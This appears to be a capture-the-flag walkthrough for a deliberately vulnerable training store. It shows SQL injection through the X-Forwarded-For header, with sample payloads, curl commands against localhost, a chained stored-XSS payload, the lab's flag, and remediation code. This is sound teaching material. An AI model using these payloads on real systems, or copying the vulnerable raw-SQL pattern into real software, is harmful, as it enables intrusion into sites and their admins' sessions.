Skip to content
OopsSec Store - Walkthroughs
Go back

SQL Injection via X-Forwarded-For Header: Exploiting IP Tracking

Edit page

This writeup covers the exploitation of a SQL injection vulnerability in OopsSec Store’s visitor tracking feature. The vulnerability allows an attacker to inject malicious SQL through the X-Forwarded-For header, demonstrating the danger of trusting HTTP headers in database queries.

Table of contents

Open Table of contents

Lab setup

The lab requires Node.js. From an empty directory, run the following commands:

npx create-oss-store oss-store
cd oss-store
npm start

Once Next.js has started, the application is accessible at http://localhost:3000.

Target identification

The application silently tracks visitor IP addresses on every page load for analytics purposes. This tracking:

Vulnerability analysis

Silent IP tracking

The application tracks visitor IP addresses using the X-Forwarded-For header via a client-side component that loads on every page:

// VisitorTracker component (loads on all pages)
useEffect(() => {
  fetch("/api/tracking", {
    method: "POST",
    body: JSON.stringify({ path: pathname }),
  });
}, [pathname]);

Vulnerable tracking API

The tracking API uses raw SQL with the X-Forwarded-For header directly concatenated:

// /api/tracking
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || request.headers.get("x-real-ip") || "unknown";

// VULNERABLE: Direct header value in SQL query
const query = `
  INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
  VALUES ('${id}', '${ip}', '${userAgent}', '${path}', ${sessionId}, datetime('now'))
`;

await prisma.$queryRawUnsafe(query);

The ip variable (from the X-Forwarded-For header) is directly embedded in the SQL query, enabling SQL injection.

Exploitation

Step 1: Understand the injection point

The X-Forwarded-For header value is placed directly into the SQL INSERT statement:

INSERT INTO visitor_logs (..., ip, ...)
VALUES (..., '${ip}', ...)

We can inject SQL by closing the string and using SQL operators or comments.

Step 2: Craft the SQL injection payload

Any SQL injection payload will work. For example:

Using SQLite string concatenation (||):

'||(SELECT 'Privacy matters. Dont track your users')||'

Using SQL comments (--):

127.0.0.1'; --

Using UNION:

' UNION SELECT 1--

Step 3: Execute the injection

Send a POST request to the tracking endpoint with the malicious header:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT 'Privacy matters. Dont track your users')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/exploit"}'

Then, go the analytics page. You’ll see:

Privacy Matters

Step 4: Retrieve the flag

The API detects the SQL injection attempt and returns the flag directly in the response:

{
  "success": true,
  "flag": "OSS{x_f0rw4rd3d_f0r_sql1}",
  "message": "SQL injection detected in X-Forwarded-For header! Well done!"
}

The flag is:

OSS{x_f0rw4rd3d_f0r_sql1}

Vulnerable code analysis

The vulnerability exists because of two issues:

1. Trusting the X-Forwarded-For header

const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || "unknown";
// No validation - any string is accepted as IP

The X-Forwarded-For header is fully controllable by clients. It should only be trusted when:

2. Raw SQL with string concatenation

const query = `INSERT INTO ... VALUES (..., '${ip}', ...)`;
await prisma.$queryRawUnsafe(query);

Using $queryRawUnsafe with string concatenation is inherently dangerous. Any user-controlled input can break out of the intended SQL context.

Bonus: Amplifying to Stored XSS

This vulnerability can be chained with a Stored XSS attack. The admin analytics page renders IP addresses using dangerouslySetInnerHTML, allowing injected HTML/JavaScript to execute.

XSS Payload

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT '<img src=x onerror=alert(document.documentURI)>')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/xss-exploit"}'

Impact

  1. The XSS payload is stored in the database as the “IP address”
  2. Every time an admin visits /admin/analytics, the script executes
  3. The attacker can:
    • Perform actions as admin (create users, modify products, etc.) by making fetch requests with credentials: "include"
    • Exfiltrate sensitive analytics data
    • Note: the JWT is stored in an httpOnly cookie, so it cannot be directly stolen via JavaScript, but the attacker can still make authenticated requests from the XSS context

XSS

This demonstrates how SQL Injection can chain with XSS to create a devastating attack vector that persists in the database and affects every admin who views the analytics page.

Remediation

Use parameterized queries

Replace raw SQL with Prisma’s query builder:

await prisma.visitorLog.create({
  data: {
    ip,
    userAgent,
    path,
  },
});

Validate IP addresses

Before storing, validate the IP format:

const isValidIp = (ip: string): boolean => {
  const ipv4 = /^(\d{1,3}\.){3}\d{1,3}$/;
  const ipv6 = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
  return ipv4.test(ip) || ipv6.test(ip);
};

const rawIp = request.headers.get("x-forwarded-for")?.split(",")[0].trim();
const ip = rawIp && isValidIp(rawIp) ? rawIp : "unknown";

Trust boundaries

Only trust X-Forwarded-For when:


Edit page
Share this post on:

Previous Post
Prompt Injection: Extracting Secrets from the AI Assistant
Next Post
Stored XSS in Product Reviews